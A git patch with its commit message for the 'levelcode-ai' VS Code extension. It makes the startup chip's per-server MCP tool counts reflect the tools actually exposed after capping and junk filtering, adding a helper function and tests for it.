reflect EXPOSED tools MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit PR #31 review (Copilot). The chip built its per-server counts from handles[i].tools.length — the raw tools/list payload — while the run actually exposes built.tools, which is smaller after the per-server cap (MAX_TOOLS_PER_SERVER) and after junk specs are skipped. So a server listing 100 tools rendered "server (100)" even though only 64 were callable, and worse, that per-server number sat right next to an "allowed/total" denominator computed from built.tools.length — the chip contradicted itself. Per-server counts now derive from built.routes (the tools actually exposed) via a new pure helper, toolCountsByServer, so they reflect what the agent can call and SUM to the denominator. A server that exposed nothing shows "(0)" — honest, and a useful signal that it connected but contributed no usable tools. Verified: 41 tests (2 new). The key test reproduces the reviewer's scenario — a server 5 over the cap plus a server listing junk — and asserts the counts are the capped/filtered numbers AND that they sum to built.tools.length. Mutation-checked: a wrong per-tool increment fails, and dropping the malformed-entry guard fails. The agent.js consumption is one line reading the tested helper, covered by that test + reading (agent.js requires vscode). Full gate: 18 suites, 0 failures. Co-Authored-By: Claude Opus 4.8 --- extensions/levelcode-ai/agent.js | 9 +++++-- extensions/levelcode-ai/mcpConfig.js | 22 ++++++++++++++- .../levelcode-ai/test/mcpConfig.test.js | 27 +++++++++++++++++++ 3 files changed, 55 insertions(+), 3 deletions(-) diff --git a/extensions/levelcode-ai/agent.js b/extensions/levelcode-ai/agent.js index 6d8eac1..02a6877 100644 --- a/extensions/levelcode-ai/agent.js +++ b/extensions/levelcode-ai/agent.js @@ -17,7 +17,7 @@ const providers = require('./providers/index'); const { formatVerifyFeedback, verifyOutcome, looksUnrunnable, sniffPort, looksReady } = require('./verify'); const { classifyCommand, dangerLabel } = require('./commandSafety'); const { loadProjectRules } = require('./projectRules'); -const { loadServerConfig, buildAgentTools, classifyMcpTool, explainMcpRefusal } = require('./mcpConfig'); +const { loadServerConfig, buildAgentTools, toolCountsByServer, classifyMcpTool, explainMcpRefusal } = require('./mcpConfig'); const { connectAll, getServer } = require('./mcpClient'); const SYSTEM_BASE = [ @@ -549,7 +549,12 @@ async function setupMcp(ctx, wsFolders, dbg) { const route = built.routes.get(t.name); return classifyMcpTool(t.name, cfg.toolPolicy, route && route.annotations).approve === 'allow'; }).length; - const summary = handles.map((h) => h.name + ' (' + h.tools.length + ')').join(', '); + // Per-server counts come from what was actually EXPOSED (built.routes), not the raw tools/list + // length — a server capped at MAX_TOOLS_PER_SERVER or listing junk exposes fewer than it + // advertised, and showing the raw number would contradict the allowed/total denominator below + // (PR #31 review). A server that exposed nothing still shows "(0)": honest, and a useful signal. + const perServer = toolCountsByServer(built.routes); + const summary = handles.map((h) => h.name + ' (' + (perServer.get(h.name) || 0) + ')').join(', '); dbg('mcp.ready', { servers: handles.map((h) => h.name), tools: built.tools.length, allowed }); ctx.post({ type: 'agentTool', icon: 'plug', text: '🔌 mcp · ' + summary + ' · ' + allowed + '/' + built.tools.length + ' allow-listed' }); return built; diff --git a/extensions/levelcode-ai/mcpConfig.js b/extensions/levelcode-ai/mcpConfig.js index f8a6d05..b7dc942 100644 --- a/extensions/levelcode-ai/mcpConfig.js +++ b/extensions/levelcode-ai/mcpConfig.js @@ -334,6 +334,26 @@ function buildAgentTools(servers, opts) { return { tools, routes, problems: assigned.problems }; } +/** + * Per-server counts of the tools ACTUALLY exposed, taken from the routes buildAgentTools emitted — i.e. + * AFTER the per-server cap and junk-skipping. The startup chip uses this rather than the raw tools/list + * length, so its per-server numbers reflect what the agent can really call and SUM to the run's real + * total: a server that lists 100 tools but is capped to 64 must read `(64)`, not `(100)`, or the chip + * contradicts its own allowed/total denominator (PR #31 review). + * + * @param {Map} routes the routes map from buildAgentTools + * @returns {Map} server name → exposed tool count + */ +function toolCountsByServer(routes) { + const counts = new Map(); + if (!routes || typeof routes.values !== 'function') { return counts; } + for (const r of routes.values()) { + if (!r || typeof r.server !== 'string') { continue; } + counts.set(r.server, (counts.get(r.server) || 0) + 1); + } + return counts; +} + // ---- 3. approval policy ---------------------------------------------------------------------- /** @@ -391,6 +411,6 @@ function explainMcpRefusal(name, verdict) { module.exports = { loadServerConfig, userScopedSetting, namespaceToolName, assignToolNames, buildAgentTools, - classifyMcpTool, explainMcpRefusal, + toolCountsByServer, classifyMcpTool, explainMcpRefusal, BUILTIN_TOOL_NAMES, MAX_TOOL_NAME, MAX_TOOL_DESC, MAX_SERVERS, MAX_TOOLS_PER_SERVER, WORKSPACE_CONFIG_PATH }; diff --git a/extensions/levelcode-ai/test/mcpConfig.test.js b/extensions/levelcode-ai/test/mcpConfig.test.js index fc11e27..55e5736 100644 --- a/extensions/levelcode-ai/test/mcpConfig.test.js +++ b/extensions/levelcode-ai/test/mcpConfig.test.js @@ -404,6 +404,33 @@ test('BUILD: the FALLBACK description is capped too — a giant tool name cannot assert.ok(b.tools[0].name.length <= M.MAX_TOOL_NAME, 'and the name still stays legal'); }); +test('BUILD: per-server exposed counts come from routes and SUM to the real total (chip honesty)', () => { + // PR #31 review: the startup chip must not show a raw tools/list length that a cap or junk-skip made + // untrue — e.g. "a (100)" next to a "/64 allow-listed" denominator. toolCountsByServer derives the + // per-server numbers from what was actually exposed, so they reflect reality and sum to the total. + const many = []; + for (let i = 0; i < M.MAX_TOOLS_PER_SERVER + 5; i++) { many.push({ name: 'a' + i }); } + const b = M.buildAgentTools([ + { name: 'a', tools: many }, // over the cap + { name: 'b', tools: [{ name: 'one' }, null, { name: '' }, { name: 'two' }] } // 2 real + junk + ]); + const counts = M.toolCountsByServer(b.routes); + assert.strictEqual(counts.get('a'), M.MAX_TOOLS_PER_SERVER, 'a is capped, not its raw ' + many.length); + assert.strictEqual(counts.get('b'), 2, 'b exposes only its 2 valid tools'); + + // The load-bearing invariant: the per-server counts sum to built.tools.length — the chip denominator. + let sum = 0; for (const v of counts.values()) { sum += v; } + assert.strictEqual(sum, b.tools.length, 'per-server counts must sum to the real total'); +}); + +test('BUILD: toolCountsByServer tolerates junk input without throwing', () => { + assert.strictEqual(M.toolCountsByServer(null).size, 0); + assert.strictEqual(M.toolCountsByServer(undefined).size, 0); + assert.strictEqual(M.toolCountsByServer(new Map()).size, 0); + // A routes-shaped map with a malformed entry is skipped, not counted. + assert.strictEqual(M.toolCountsByServer(new Map([['x', { server: 's' }], ['y', null], ['z', {}]])).get('s'), 1); +}); + test('BUILD: annotations ride along so the policy can tighten on them', () => { const b = M.buildAgentTools([SRV('s', [{ name: 'rm', annotations: { destructiveHint: true } }])]); const route = b.routes.get('s__rm');